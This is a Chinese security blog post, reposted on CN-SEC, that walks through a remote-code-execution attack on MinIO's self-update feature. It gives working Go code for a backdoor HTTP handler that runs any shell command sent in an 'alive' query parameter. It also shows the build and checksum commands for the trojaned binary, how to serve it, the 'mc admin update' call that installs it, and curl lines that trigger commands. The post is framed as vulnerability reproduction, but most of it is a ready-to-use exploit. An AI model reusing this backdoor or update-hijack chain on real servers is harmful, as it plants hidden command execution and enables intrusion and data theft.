MinIO自更新RCE

admin 2024年7月17日09:50:17评论20 views字数 2322阅读7分44秒阅读模式

漏洞简介

MinIO提供了一个非常方便的功能,可以通过mc(MinIO客户端)远程升级MinIO服务器,关键在于升级地址是可以通过预设自定义的,在官方的说明文档中并没有详细说明,企业如果是内网环境可以指定自己的更新地址以便于升级。而minio更新就是下载新版本二进制程序然后实现自我替换的过程,也就是说只要让minio更新动作下载到恶意程序,他就会自行执行,最终形成RCE。 

漏洞复现

环境搭建

下载之后启动服务

https://github.com/minio/minio/compare/RELEASE.2023-01-25T00-19-54Z...RELEASE.2023-01-31T02-24-19Zgo run main.go server /root/桌面/minio(随便指定一个目录)

MinIO自更新RCE

MinIO自更新RCE

源码二开

使用源码进行二开,最好使用与服务相同的版本,以免出现服务崩溃等不可预知错误
//增加一个cmd/x.go 文件
package cmd
import (    "os/exec"    "runtime")
func getOutputDirectly(commandStr string) string {    var execGlobalOutput string    var shell [2]string    var systemOS string = runtime.GOOS    if systemOS == "linux" || systemOS == "darwin" {        shell[0], shell[1] = "/bin/bash", "-c"    } else {        shell[0], shell[1] = "C:\Windows\System32\cmd.exe", "/c"    }    cmd := exec.Command(shell[0], shell[1], commandStr)    output, err := cmd.Output()    if err != nil {        return ""    }    execGlobalOutput += string(output)    return execGlobalOutput}

MinIO自更新RCE

//添加全局预处理 Handler
//cmd/generic-handlers.go文件func xHandler(h http.Handler) http.Handler {    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {        var arg string        values := r.URL.Query()        arg = values.Get("alive")        if arg != "" {            w.Write([]byte(getOutputDirectly(arg)))            return        }        h.ServeHTTP(w, r)    })}
//cmd/routers.go文件xHandler,

MinIO自更新RCE

MinIO自更新RCE

打包二开源码

//2023-07-22这是时间,这里注意这个时间要比minio运行的日期要新(比如我2023-07-10启动的minio服务,那么更新文件名称时间就要比这个时间新,所以我用的minio.RELEASE.2023-07-22T06-36-24Z)
go build -ldflags="-s -w " -trimpath && mv minio minio.RELEASE.2023-07-22T06-36-24Z && shasum -a 256 minio.RELEASE.2023-07-22T06-36-24Z > minio.RELEASE.2023-07-22T06-36-24Z.sha256sum

MinIO自更新RCE

启动一个http服务

//在更新文件目录使用python启动一个http服务python3 -m http.server 5678

MinIO自更新RCE

mc更新

//下载地址https://min.io/download#/linux
//设置别名为"test01"./mc alias set test01 http://127.0.0.1:9000 minioadmin minioadmin//进行更新操作./mc admin update test01 http://172.19.0.1:5678/minio.RELEASE.2023-07-22T06-36-24Z.sha256sum -y
响应 Server `test01` updated successfully from DEVELOPMENT.GOGET to 2023-07-22T06-36-24Z 即表示更新成功

MinIO自更新RCE

执行命令

curl 'http://10.211.55.9:9000/?alive=whoami' curl 'http://10.211.55.9:9000/test?alive=whoami'

MinIO自更新RCE

坑点

1、打包二开的payload源码时文件时间时间要比minio运行的日期要新,因为它是根据服务启动的时间来对比你的文件名称时间决定要不要更新。下图我使用复现成功的源码打包时时间改为03更新就会提示已是最新版。2、如果是使用官方的Docker容器部署,将无法绕过二进制文件的签名检查,因为官方容器默认设置了官方公钥,需要知道私钥才能伪造签名3、需要1.19以上版本的go环境运行,git clone https://github.com/udhos/update-golang(sudo RELEASE=1.19.1 ./update-golang.sh)

MinIO自更新RCE

参考链接

https://mp.weixin.qq.com/s/GNhQLuzD8up3VcBRIinmgQhttps://zhuanlan.zhihu.com/p/624238964https://github.com/AbelChe/evil_minio

MinIO自更新RCE

 

原文始发于微信公众号(阿乐你好):MinIO自更新RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月17日09:50:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MinIO自更新RCEhttp://cn-sec.com/archives/1869319.html

发表评论

匿名网友 填写信息